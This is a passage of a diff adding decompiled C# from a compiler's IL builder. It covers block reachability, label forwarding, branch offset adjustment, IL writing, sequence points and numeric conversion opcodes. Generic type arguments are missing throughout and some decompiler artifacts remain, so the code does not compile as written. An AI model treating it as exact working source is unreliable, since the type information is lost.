instance.Free(); + } + + private static void PushReachableBlockToProcess(ArrayBuilder reachableBlocks, BasicBlock block) + { + if (block.Reachability == Reachability.NotReachable) + { + reachableBlocks.Push(block); + } + } + + private static void MarkReachableFrom(ArrayBuilder reachableBlocks, BasicBlock block) + { + while (block != null && block.Reachability == Reachability.NotReachable) + { + block.Reachability = Reachability.Reachable; + ILOpCode branchCode = block.BranchCode; + if (branchCode == ILOpCode.Nop && block.Type == BlockType.Normal) + { + block = block.NextBlock; + continue; + } + if (branchCode.CanFallThrough()) + { + PushReachableBlockToProcess(reachableBlocks, block.NextBlock); + } + else if (branchCode == ILOpCode.Endfinally) + { + block.EnclosingHandler?.UnblockFinally(); + } + switch (block.Type) + { + case BlockType.Switch: + MarkReachableFromSwitch(reachableBlocks, block); + break; + case BlockType.Try: + MarkReachableFromTry(reachableBlocks, block); + break; + case BlockType.Filter: + MarkReachableFromFilter(reachableBlocks, block); + break; + default: + MarkReachableFromBranch(reachableBlocks, block); + break; + } + break; + } + } + + private static void MarkReachableFromBranch(ArrayBuilder reachableBlocks, BasicBlock block) + { + BasicBlock branchBlock = block.BranchBlock; + if (branchBlock != null) + { + object obj = BlockedBranchDestination(block, branchBlock); + if (obj == null) + { + PushReachableBlockToProcess(reachableBlocks, branchBlock); + } + else + { + RedirectBranchToBlockedDestination(block, obj); + } + } + } + + private static void RedirectBranchToBlockedDestination(BasicBlock block, object blockedDest) + { + block.SetBranch(blockedDest, block.BranchCode); + if (block.BranchBlock.Reachability == Reachability.NotReachable) + { + block.BranchBlock.Reachability = Reachability.BlockedByFinally; + } + } + + private static object BlockedBranchDestination(BasicBlock src, BasicBlock dest) + { + ExceptionHandlerScope enclosingHandler = src.EnclosingHandler; + if (enclosingHandler == null) + { + return null; + } + return BlockedBranchDestinationSlow(dest.EnclosingHandler, enclosingHandler); + } + + private static object BlockedBranchDestinationSlow(ExceptionHandlerScope destHandler, ExceptionHandlerScope srcHandler) + { + ScopeInfo scopeInfo = null; + if (destHandler != null) + { + scopeInfo = destHandler.ContainingExceptionScope; + } + while (srcHandler != destHandler && srcHandler.ContainingExceptionScope != scopeInfo) + { + if (srcHandler.Type == ScopeType.Try) + { + ExceptionHandlerLeaderBlock nextExceptionHandler = srcHandler.LeaderBlock.NextExceptionHandler; + if (nextExceptionHandler.Type == BlockType.Finally) + { + object blockedByFinallyDestination = nextExceptionHandler.EnclosingHandler.BlockedByFinallyDestination; + if (blockedByFinallyDestination != null) + { + return blockedByFinallyDestination; + } + } + } + srcHandler = srcHandler.ContainingExceptionScope.ContainingHandler; + } + return null; + } + + private static void MarkReachableFromTry(ArrayBuilder reachableBlocks, BasicBlock block) + { + ExceptionHandlerLeaderBlock nextExceptionHandler = ((ExceptionHandlerLeaderBlock)block).NextExceptionHandler; + if (nextExceptionHandler.Type == BlockType.Finally) + { + if (nextExceptionHandler.Reachability != Reachability.Reachable) + { + block.Reachability = Reachability.NotReachable; + PushReachableBlockToProcess(reachableBlocks, block); + PushReachableBlockToProcess(reachableBlocks, nextExceptionHandler); + return; + } + } + else + { + while (nextExceptionHandler != null) + { + PushReachableBlockToProcess(reachableBlocks, nextExceptionHandler); + nextExceptionHandler = nextExceptionHandler.NextExceptionHandler; + } + } + MarkReachableFromBranch(reachableBlocks, block); + } + + private static void MarkReachableFromFilter(ArrayBuilder reachableBlocks, BasicBlock block) + { + PushReachableBlockToProcess(reachableBlocks, block.EnclosingHandler.LastFilterConditionBlock); + MarkReachableFromBranch(reachableBlocks, block); + } + + private static void MarkReachableFromSwitch(ArrayBuilder reachableBlocks, BasicBlock block) + { + SwitchBlock obj = (SwitchBlock)block; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + obj.GetBranchBlocks(instance); + ArrayBuilder.Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlock current = enumerator.Current; + PushReachableBlockToProcess(reachableBlocks, current); + } + instance.Free(); + } + + private bool OptimizeLabels() + { + return ForwardLabelsNoLeaving() | ForwardLabelsAllowLeaving(); + } + + private bool ForwardLabelsNoLeaving() + { + bool result = false; + SmallDictionary.KeyCollection keys = _labelInfos.Keys; + bool flag; + do + { + flag = true; + SmallDictionary.KeyCollection.Enumerator enumerator = keys.GetEnumerator(); + while (enumerator.MoveNext()) + { + object current = enumerator.Current; + LabelInfo labelInfo = _labelInfos[current]; + BasicBlock bb = labelInfo.bb; + if (!bb.HasNoRegularInstructions) + { + continue; + } + BasicBlock basicBlock = null; + switch (bb.BranchCode) + { + case ILOpCode.Br: + basicBlock = bb.BranchBlock; + break; + case ILOpCode.Nop: + basicBlock = bb.NextBlock; + break; + } + if (basicBlock != null && basicBlock != bb) + { + ExceptionHandlerScope enclosingHandler = bb.EnclosingHandler; + ExceptionHandlerScope enclosingHandler2 = basicBlock.EnclosingHandler; + if (enclosingHandler == enclosingHandler2) + { + _labelInfos[current] = labelInfo.WithNewTarget(basicBlock); + result = true; + flag = false; + } + } + } + } + while (!flag); + return result; + } + + private bool ForwardLabelsAllowLeaving() + { + bool result = false; + SmallDictionary.KeyCollection keys = _labelInfos.Keys; + bool flag; + do + { + flag = true; + SmallDictionary.KeyCollection.Enumerator enumerator = keys.GetEnumerator(); + while (enumerator.MoveNext()) + { + object current = enumerator.Current; + LabelInfo labelInfo = _labelInfos[current]; + if (labelInfo.targetOfConditionalBranches) + { + continue; + } + BasicBlock bb = labelInfo.bb; + if (!bb.HasNoRegularInstructions) + { + continue; + } + BasicBlock basicBlock = null; + switch (bb.BranchCode) + { + case ILOpCode.Br: + basicBlock = bb.BranchBlock; + break; + case ILOpCode.Nop: + basicBlock = bb.NextBlock; + break; + } + if (basicBlock != null && basicBlock != bb) + { + ExceptionHandlerScope enclosingHandler = bb.EnclosingHandler; + ExceptionHandlerScope enclosingHandler2 = basicBlock.EnclosingHandler; + if (CanMoveLabelToAnotherHandler(enclosingHandler, enclosingHandler2)) + { + _labelInfos[current] = labelInfo.WithNewTarget(basicBlock); + result = true; + flag = false; + } + } + } + } + while (!flag); + return result; + } + + private static bool CanMoveLabelToAnotherHandler(ExceptionHandlerScope currentHandler, ExceptionHandlerScope newHandler) + { + if (newHandler == null && currentHandler.ContainingExceptionScope.FinallyOnly()) + { + return true; + } + do + { + if (currentHandler == newHandler) + { + return true; + } + ExceptionHandlerContainerScope containingExceptionScope = currentHandler.ContainingExceptionScope; + if (!containingExceptionScope.FinallyOnly()) + { + return false; + } + currentHandler = containingExceptionScope.ContainingHandler; + } + while (currentHandler != null); + return false; + } + + private bool DropUnreachableBlocks() + { + bool result = false; + BasicBlock nextBlock = leaderBlock; + while (nextBlock.NextBlock != null) + { + if (nextBlock.NextBlock.Reachability == Reachability.NotReachable) + { + nextBlock.NextBlock = nextBlock.NextBlock.NextBlock; + result = true; + } + else + { + nextBlock = nextBlock.NextBlock; + } + } + return result; + } + + private void MarkAllBlocksUnreachable() + { + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + nextBlock.Reachability = Reachability.NotReachable; + } + } + + private void ComputeOffsets() + { + BasicBlock nextBlock = leaderBlock; + while (nextBlock.NextBlock != null) + { + nextBlock.NextBlock.Start = nextBlock.Start + nextBlock.TotalSize; + nextBlock = nextBlock.NextBlock; + } + } + + private void RewriteSpecialBlocks() + { + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + if (IsSpecialEndHandlerBlock(nextBlock)) + { + if (nextBlock.Reachability == Reachability.BlockedByFinally) + { + nextBlock.SetBranchCode(ILOpCode.Br_s); + } + else + { + nextBlock.SetBranch(null, ILOpCode.Nop); + } + } + } + } + + private static bool IsSpecialEndHandlerBlock(BasicBlock block) + { + if (block.BranchCode != ILOpCode.Nop || block.BranchLabel == null) + { + return false; + } + return true; + } + + private void RewriteBranchesAcrossExceptionHandlers() + { + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + nextBlock.RewriteBranchesAcrossExceptionHandlers(); + } + } + + private bool ComputeOffsetsAndAdjustBranches() + { + ComputeOffsets(); + bool flag = false; + int delta; + do + { + delta = 0; + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + nextBlock.AdjustForDelta(delta); + if (_optimizations == OptimizationLevel.Release) + { + flag |= nextBlock.OptimizeBranches(ref delta); + } + nextBlock.ShortenBranches(ref delta); + } + } + while (delta < 0); + return flag; + } + + private void RealizeBlocks() + { + MarkReachableBlocks(); + RewriteSpecialBlocks(); + DropUnreachableBlocks(); + if (_optimizations == OptimizationLevel.Release && OptimizeLabels()) + { + MarkAllBlocksUnreachable(); + MarkReachableBlocks(); + DropUnreachableBlocks(); + } + RewriteBranchesAcrossExceptionHandlers(); + while (ComputeOffsetsAndAdjustBranches()) + { + MarkAllBlocksUnreachable(); + MarkReachableBlocks(); + if (!DropUnreachableBlocks()) + { + break; + } + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + int firstILMarker = nextBlock.FirstILMarker; + if (firstILMarker >= 0) + { + int lastILMarker = nextBlock.LastILMarker; + for (int i = firstILMarker; i <= lastILMarker; i++) + { + int blockOffset = _allocatedILMarkers[i].BlockOffset; + int absoluteOffset = instance.Count + blockOffset; + _allocatedILMarkers[i] = new ILMarker + { + BlockOffset = blockOffset, + AbsoluteOffset = absoluteOffset + }; + } + } + nextBlock.RegularInstructions?.WriteContentTo(instance); + switch (nextBlock.BranchCode) + { + case ILOpCode.Switch: + { + WriteOpCode(instance, ILOpCode.Switch); + SwitchBlock switchBlock = (SwitchBlock)nextBlock; + instance.WriteUInt32(switchBlock.BranchesCount); + int num3 = switchBlock.Start + switchBlock.TotalSize; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + switchBlock.GetBranchBlocks(instance2); + ArrayBuilder.Enumerator enumerator = instance2.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlock current = enumerator.Current; + instance.WriteInt32(current.Start - num3); + } + instance2.Free(); + break; + } + default: + WriteOpCode(instance, nextBlock.BranchCode); + if (nextBlock.BranchLabel != null) + { + int start = nextBlock.BranchBlock.Start; + int num = nextBlock.Start + nextBlock.TotalSize; + int num2 = start - num; + if (nextBlock.BranchCode.GetBranchOperandSize() == 1) + { + sbyte value = (sbyte)num2; + instance.WriteSByte(value); + } + else + { + instance.WriteInt32(num2); + } + } + break; + case ILOpCode.Nop: + break; + } + } + RealizedIL = instance.ToImmutableArray(); + instance.Free(); + RealizeSequencePoints(); + RealizedExceptionHandlers = _scopeManager.GetExceptionHandlerRegions(); + } + + private void RealizeSequencePoints() + { + if (SeqPointsOpt == null) + { + return; + } + int num = -1; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder.Enumerator enumerator = SeqPointsOpt.GetEnumerator(); + while (enumerator.MoveNext()) + { + RawSequencePoint current = enumerator.Current; + int iLOffsetFromMarker = GetILOffsetFromMarker(current.ILMarker); + if (iLOffsetFromMarker >= 0) + { + if (num != iLOffsetFromMarker) + { + num = iLOffsetFromMarker; + instance.Add(current); + } + else + { + instance[instance.Count - 1] = current; + } + } + } + if (instance.Count > 0) + { + RealizedSequencePoints = SequencePointList.Create(instance, this); + } + instance.Free(); + } + + internal void DefineSequencePoint(SyntaxTree syntaxTree, TextSpan span) + { + GetCurrentBlock(); + _lastSeqPointTree = syntaxTree; + if (SeqPointsOpt == null) + { + SeqPointsOpt = ArrayBuilder.GetInstance(); + } + if (_initialHiddenSequencePointMarker >= 0) + { + SeqPointsOpt.Add(new RawSequencePoint(syntaxTree, _initialHiddenSequencePointMarker, RawSequencePoint.HiddenSequencePointSpan)); + _initialHiddenSequencePointMarker = -1; + } + SeqPointsOpt.Add(new RawSequencePoint(syntaxTree, AllocateILMarker(), span)); + } + + internal void DefineHiddenSequencePoint() + { + SyntaxTree lastSeqPointTree = _lastSeqPointTree; + if (lastSeqPointTree != null) + { + DefineSequencePoint(lastSeqPointTree, RawSequencePoint.HiddenSequencePointSpan); + } + } + + internal void DefineInitialHiddenSequencePoint() + { + _initialHiddenSequencePointMarker = AllocateILMarker(); + } + + internal void SetInitialDebugDocument(SyntaxTree initialSequencePointTree) + { + _lastSeqPointTree = initialSequencePointTree; + } + + [Conditional("DEBUG")] + internal void AssertStackEmpty() + { + } + + internal bool IsJustPastLabel() + { + return _emitState.InstructionsEmitted == _instructionCountAtLastLabel; + } + + internal void OpenLocalScope(ScopeType scopeType = ScopeType.Variable, ITypeReference exceptionType = null) + { + if (scopeType == ScopeType.TryCatchFinally && IsJustPastLabel()) + { + DefineHiddenSequencePoint(); + EmitOpCode(ILOpCode.Nop); + } + if (scopeType == ScopeType.Finally) + { + _instructionCountAtLastLabel = _emitState.InstructionsEmitted; + } + EndBlock(); + _scopeManager.OpenScope(scopeType, exceptionType); + switch (scopeType) + { + case ScopeType.Try: + _pendingBlockCreate = true; + break; + case ScopeType.Catch: + case ScopeType.Filter: + case ScopeType.Finally: + case ScopeType.Fault: + _pendingBlockCreate = true; + DefineHiddenSequencePoint(); + break; + default: + throw ExceptionUtilities.UnexpectedValue(scopeType); + case ScopeType.Variable: + case ScopeType.TryCatchFinally: + case ScopeType.StateMachineVariable: + break; + } + } + + internal bool PossiblyDefinedOutsideOfTry(LocalDefinition local) + { + return _scopeManager.PossiblyDefinedOutsideOfTry(local); + } + + internal void MarkFilterConditionEnd() + { + _scopeManager.FinishFilterCondition(this); + DefineHiddenSequencePoint(); + } + + internal void CloseLocalScope() + { + _scopeManager.ClosingScope(this); + EndBlock(); + _scopeManager.CloseScope(this); + } + + internal void DefineUserDefinedStateMachineHoistedLocal(int slotIndex) + { + _scopeManager.AddUserHoistedLocal(slotIndex); + } + + internal void AddLocalToScope(LocalDefinition local) + { + HasDynamicLocal |= !local.DynamicTransformFlags.IsEmpty; + _scopeManager.AddLocal(local); + } + + internal void AddLocalConstantToScope(LocalConstantDefinition localConstant) + { + HasDynamicLocal |= !localConstant.DynamicTransformFlags.IsEmpty; + _scopeManager.AddLocalConstant(localConstant); + } + + internal ILBuilder GetSnapshot() + { + ILBuilder obj = (ILBuilder)MemberwiseClone(); + obj.RealizedIL = RealizedIL; + return obj; + } + + private bool AllBlocks(Func predicate) + { + for (BasicBlock nextBlock = leaderBlock; nextBlock != null; nextBlock = nextBlock.NextBlock) + { + if (!predicate(nextBlock)) + { + return false; + } + } + return true; + } + + internal int AllocateILMarker() + { + if (_allocatedILMarkers == null) + { + _allocatedILMarkers = ArrayBuilder.GetInstance(); + } + BasicBlock currentBlock = GetCurrentBlock(); + int count = _allocatedILMarkers.Count; + currentBlock.AddILMarker(count); + _allocatedILMarkers.Add(new ILMarker + { + BlockOffset = currentBlock.RegularInstructionsLength, + AbsoluteOffset = -1 + }); + return count; + } + + public int GetILOffsetFromMarker(int ilMarker) + { + return _allocatedILMarkers[ilMarker].AbsoluteOffset; + } + + private string GetDebuggerDisplay() + { + return ""; + } + + public void EmitNumericConversion(Microsoft.Cci.PrimitiveTypeCode fromPredefTypeKind, Microsoft.Cci.PrimitiveTypeCode toPredefTypeKind, bool @checked) + { + bool flag = fromPredefTypeKind.IsUnsigned(); + switch (toPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.Int8: + if (fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.Int8) + { + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_i1_un : ILOpCode.Conv_ovf_i1); + } + else + { + EmitOpCode(ILOpCode.Conv_i1); + } + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + if (fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.UInt8) + { + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_u1_un : ILOpCode.Conv_ovf_u1); + } + else + { + EmitOpCode(ILOpCode.Conv_u1); + } + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int16: + if (fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.Int8 && fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.Int16 && fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.UInt8) + { + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_i2_un : ILOpCode.Conv_ovf_i2); + } + else + { + EmitOpCode(ILOpCode.Conv_i2); + } + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + if (fromPredefTypeKind != Microsoft.Cci.PrimitiveTypeCode.Char && (uint)(fromPredefTypeKind - 12) > 1u) + { + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_u2_un : ILOpCode.Conv_ovf_u2); + } + else + { + EmitOpCode(ILOpCode.Conv_u2); + } + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int32: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_i4_un); + } + break; + default: + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_i4_un : ILOpCode.Conv_ovf_i4); + } + else + { + EmitOpCode(ILOpCode.Conv_i4); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_u4); + } + break; + default: + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_u4_un : ILOpCode.Conv_ovf_u4); + } + else + { + EmitOpCode(ILOpCode.Conv_u4); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + if (@checked) + { + goto default; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + EmitOpCode(ILOpCode.Conv_i); + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + EmitOpCode(ILOpCode.Conv_u); + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_i_un); + } + else + { + EmitOpCode(ILOpCode.Conv_u); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Pointer: + case Microsoft.Cci.PrimitiveTypeCode.FunctionPointer: + if (!@checked) + { + break; + } + goto default; + default: + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_i_un : ILOpCode.Conv_ovf_i); + } + else + { + EmitOpCode(ILOpCode.Conv_i); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + if (@checked) + { + goto default; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + EmitOpCode(ILOpCode.Conv_u); + break; + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_u); + } + else + { + EmitOpCode(ILOpCode.Conv_i); + } + break; + default: + if (@checked) + { + EmitOpCode(flag ? ILOpCode.Conv_ovf_u_un : ILOpCode.Conv_ovf_u); + } + else + { + EmitOpCode(ILOpCode.Conv_u); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Pointer: + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + case Microsoft.Cci.PrimitiveTypeCode.FunctionPointer: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int64: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + EmitOpCode(ILOpCode.Conv_i8); + break; + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + EmitOpCode(ILOpCode.Conv_u8); + break; + case Microsoft.Cci.PrimitiveTypeCode.Pointer: + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + case Microsoft.Cci.PrimitiveTypeCode.FunctionPointer: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_i8_un); + } + else + { + EmitOpCode(ILOpCode.Conv_u8); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt64: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_i8_un); + } + break; + default: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_i8); + } + else + { + EmitOpCode(ILOpCode.Conv_i8); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int64: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt64: + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.Char: + case Microsoft.Cci.PrimitiveTypeCode.Pointer: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + case Microsoft.Cci.PrimitiveTypeCode.FunctionPointer: + EmitOpCode(ILOpCode.Conv_u8); + break; + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_u8); + } + else + { + EmitOpCode(ILOpCode.Conv_i8); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Int64: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_u8); + } + break; + default: + if (@checked) + { + EmitOpCode(ILOpCode.Conv_ovf_u8); + } + else + { + EmitOpCode(ILOpCode.Conv_u8); + } + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt64: + break; + } + break; + case Microsoft.Cci.PrimitiveTypeCode.Float32: + if ((uint)(fromPredefTypeKind - 14) <= 2u) + { + EmitOpCode(ILOpCode.Conv_r_un); + } + EmitOpCode(ILOpCode.Conv_r4); + break; + case Microsoft.Cci.PrimitiveTypeCode.Float64: + if ((uint)(fromPredefTypeKind - 14) <= 2u) + { + EmitOpCode(ILOpCode.Conv_r_un); + } + EmitOpCode(ILOpCode.Conv_r8); + break; + case Microsoft.Cci.PrimitiveTypeCode.Pointer: + case Microsoft.Cci.PrimitiveTypeCode.FunctionPointer: + if (@checked) + { + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + EmitOpCode(ILOpCode.Conv_u); + break; + case Microsoft.Cci.PrimitiveTypeCode.UInt64: + EmitOpCode(ILOpCode.Conv_ovf_u_un); + break; + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + case Microsoft.Cci.PrimitiveTypeCode.Int64: + EmitOpCode(ILOpCode.Conv_ovf_u); + break; + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + EmitOpCode(ILOpCode.Conv_ovf_u); + break; + default: + throw ExceptionUtilities.UnexpectedValue(fromPredefTypeKind); + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + break; + } + } + else + { + switch (fromPredefTypeKind) + { + case Microsoft.Cci.PrimitiveTypeCode.Int64: + case Microsoft.Cci.PrimitiveTypeCode.UInt8: + case Microsoft.Cci.PrimitiveTypeCode.UInt16: + case Microsoft.Cci.PrimitiveTypeCode.UInt32: + case Microsoft.Cci.PrimitiveTypeCode.UInt64: + EmitOpCode(ILOpCode.Conv_u); + break; + case Microsoft.Cci.PrimitiveTypeCode.Int8: + case Microsoft.Cci.PrimitiveTypeCode.Int16: + case Microsoft.Cci.PrimitiveTypeCode.Int32: + EmitOpCode(ILOpCode.Conv_i); + break; + default: + throw ExceptionUtilities.UnexpectedValue(fromPredefTypeKind); + case Microsoft.Cci.PrimitiveTypeCode.IntPtr: + case Microsoft.Cci.PrimitiveTypeCode.UIntPtr: + break; + } + } + break; + default: + throw ExceptionUtilities.UnexpectedValue(toPredefTypeKind); + } + } + + internal void AdjustStack(int stackAdjustment) + { + _emitState.AdjustStack(stackAdjustment); + } + + internal void EmitOpCode(ILOpCode code) + { + EmitOpCode(code, code.NetStackBehavior()); + } + + internal void EmitOpCode(ILOpCode code, int stackAdjustment) + { + WriteOpCode(GetCurrentWriter(), code); + _emitState.AdjustStack(stackAdjustment); + _emitState.InstructionAdded(); + } + + internal void EmitToken(string value) + { + uint value2 = module?.GetFakeStringTokenForIL(value) ?? 65535; + GetCurrentWriter().WriteUInt32(value2); + } + + internal void EmitToken(IReference value, SyntaxNode? syntaxNode, DiagnosticBag diagnostics, MetadataWriter.RawTokenEncoding encoding = MetadataWriter.RawTokenEncoding.None) + { + uint num = module?.GetFakeSymbolTokenForIL(value, syntaxNode, diagnostics) ?? 65535; + if (encoding != MetadataWriter.RawTokenEncoding.None) + { + num = MetadataWriter.GetRawToken(encoding, num); + } + GetCurrentWriter().WriteUInt32(num); + } + + internal void EmitToken(ISignature value, SyntaxNode? syntaxNode, DiagnosticBag diagnostics) + { + uint value2 = module?.GetFakeSymbolTokenForIL(value, syntaxNode, diagnostics) ?? 65535; + GetCurrentWriter().WriteUInt32(value2); + } + + internal void EmitGreatestMethodToken() + { + uint rawToken = MetadataWriter.GetRawToken(MetadataWriter.RawTokenEncoding.GreatestMethodDefinitionRowId, 0u); + GetCurrentWriter().WriteUInt32(rawToken); + } + + internal void EmitModuleVersionIdStringToken() + { + GetCurrentWriter().WriteUInt32(2147483648u); + } + + internal void EmitSourceDocumentIndexToken(DebugSourceDocument document) + { + uint rawToken = MetadataWriter.GetRawToken(MetadataWriter.RawTokenEncoding.DocumentRowId, module?.GetSourceDocumentIndexForIL(document) ?? 65535); + GetCurrentWriter().WriteUInt32(rawToken); + } + + internal void EmitArrayBlockInitializer(ImmutableArray data, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + IMethodReference initArrayHelper = module.GetInitArrayHelper(); + IFieldReference fieldForData = module.GetFieldForData(data, 1, syntaxNode, diagnostics); + EmitOpCode(ILOpCode.Dup); + EmitOpCode(ILOpCode.Ldtoken); + EmitToken(fieldForData, syntaxNode, diagnostics); + EmitOpCode(ILOpCode.Call, -2); + EmitToken((ISignature)initArrayHelper, syntaxNode, diagnostics); + } + + internal void MarkLabel(object label) + { + EndBlock(); + BasicBlock currentBlock = GetCurrentBlock(); + if (_labelInfos.TryGetValue(label, out var value)) + { + _ = _emitState.CurStack; + _labelInfos[label] = value.WithNewTarget(currentBlock); + } + else + { + int curStack = _emitState.CurStack; + _labelInfos[label] = new LabelInfo(currentBlock, curStack, targetOfConditionalBranches: false); + } + _instructionCountAtLastLabel = _emitState.InstructionsEmitted; + } + + internal void EmitBranch(ILOpCode code, object label, ILOpCode revOpCode = ILOpCode.Nop) + { + if (code == ILOpCode.Nop) + { + _ = 1; + } + else + code.IsBranch(); + _emitState.AdjustStack(code.NetStackBehavior()); + bool targetOfConditionalBranches = code.IsConditionalBranch(); + if (!_labelInfos.TryGetValue(label, out var _)) + { + _labelInfos.Add(label, new LabelInfo(_emitState.CurStack, targetOfConditionalBranches)); + } + GetCurrentBlock().SetBranch(label, code, revOpCode); + if (code != ILOpCode.Nop) + { + _emitState.InstructionAdded(); + } + EndBlock(); + } + + internal void EmitStringSwitchJumpTable(KeyValuePair[] caseLabels, object fallThroughLabel, LocalOrParameter key, LocalDefinition? keyHash, SwitchStringJumpTableEmitter.EmitStringCompareAndBranch emitStringCondBranchDelegate, SwitchStringJumpTableEmitter.GetStringHashCode computeStringHashcodeDelegate) + { + new SwitchStringJumpTableEmitter(this, key, caseLabels, fallThroughLabel, keyHash, emitStringCondBranchDelegate, computeStringHashcodeDelegate).EmitJumpTable(); + } + + internal void EmitIntegerSwitchJumpTable(KeyValuePair[] caseLabels, object fallThroughLabel, LocalOrParameter key, Microsoft.Cci.PrimitiveTypeCode keyTypeCode) + { + new 